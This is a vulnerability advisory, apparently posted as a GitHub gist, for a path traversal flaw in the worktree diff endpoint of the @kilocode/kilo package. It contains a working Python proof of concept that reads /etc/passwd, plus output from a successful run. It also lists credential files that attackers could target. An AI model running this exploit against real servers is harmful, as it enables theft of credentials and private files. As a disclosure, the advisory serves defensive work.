Skip to content

Instantly share code, notes, and snippets.

@YLChen-007
Created April 4, 2026 14:43
Show Gist options
  • Select an option

  • Save YLChen-007/1770f4530b0c933dc61f15b02aa0629d to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/1770f4530b0c933dc61f15b02aa0629d to your computer and use it in GitHub Desktop.
Unrestricted Arbitrary File Read (Path Traversal) via `/experimental/worktree/diff/file`

Advisory Details

Title: Unrestricted Arbitrary File Read (Path Traversal) via /experimental/worktree/diff/file

Description:

Summary

An unsafe path construction logic without constraint checks in the /experimental/worktree/diff/file API endpoint allows any remote attacker or unauthenticated user with network access to use directory traversal sequences (../../) within queries. This allows them to read arbitrary files from the server's filesystem, exposing sensitive system assets directly over the HTTP API.

Details

The endpoint /experimental/worktree/diff/file primarily provides file diff representations for code review purposes. The request accepts a user-controlled file parameter, passed downstream into WorktreeDiff.detail().

The function detailMeta() in packages/opencode/src/kilocode/review/worktree-diff.ts takes this parameter and invokes Bun.file(path.join(dir, file)) to locate the target diff components. If the file is untracked by Git, it falls through to retrieving its character size and structure, extracting text payloads directly. Because the application utilizes path.join() which naturally interpolates ../ relative traversal attempts instead of preventing them or normalizing the route back to the valid workspace boundary, an attacker can input absolute or traversal arguments (../../../../etc/passwd) to escape the context. The arbitrary external file contents are read efficiently and encapsulated into the JSON response's "after" value, delivering full arbitrary file read.

PoC

  1. Start the Kilocode local instance (running on port 4096).
  2. Save the following reproduction script as poc_exploit.py:
import requests

def exploit():
    url = "http://localhost:4096/experimental/worktree/diff/file"
    params = {
        "file": "../../../../../../../../../../../../../../../etc/passwd",
        "base": "HEAD",
    }
    # Substitute x-opencode-directory with the currently active workspace instance dir
    headers = {
        "x-opencode-directory": "/root/llm-project-ts/kilocode"
    }
    print(f"[*] Sending request to {url}")
    try:
        response = requests.get(url, params=params, headers=headers)
        print(f"[*] Status: {response.status_code}")
        if response.status_code == 200:
            data = response.json()
            if data and data.get("after"):
                print("[+] SUCCESS! Read contents:")
                print(data["after"][:500] + "...")
            else:
                print("[-] Failed: No file content in response")
        else:
            print(f"[-] Failed with status {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()
  1. Run the script: python3 poc_exploit.py

Log of Evidence

[*] Sending request to http://localhost:4096/experimental/worktree/diff/file
[*] Status: 200
[+] SUCCESS! Read contents:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin...

Impact

The vulnerability is a classic Path Traversal (CWE-22) issue leading to complete unrestricted Arbitrary File Read. Attackers can compromise mission-critical assets including AWS credentials, .env file API keys, SSH private keys (~/.ssh/id_rsa), OS passwords (/etc/shadow), leading to total system compromise, environment takeover, and extended lateral damage.

Affected products

  • Ecosystem: bun
  • Package name: @kilocode/kilo
  • Affected versions: <= 7.0.47
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Weaknesses

  • CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink Description
packages/opencode/src/kilocode/review/worktree-diff.ts#L143 The raw user-controlled file path (file) is appended directly to the workspace dir (dir) via path.join(), checking for existence without validating boundaries.
packages/opencode/src/kilocode/review/worktree-diff.ts#L146 The path traversal payload gets passed into lineCount, reading the raw target out-of-bounds structure.
packages/opencode/src/kilocode/review/worktree-diff.ts#L235 Within readAfter, Bun.file(path.join(dir, file)).text() successfully streams and executes the read instruction for the unverified path string, wrapping sensitive OS content into the API response format.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment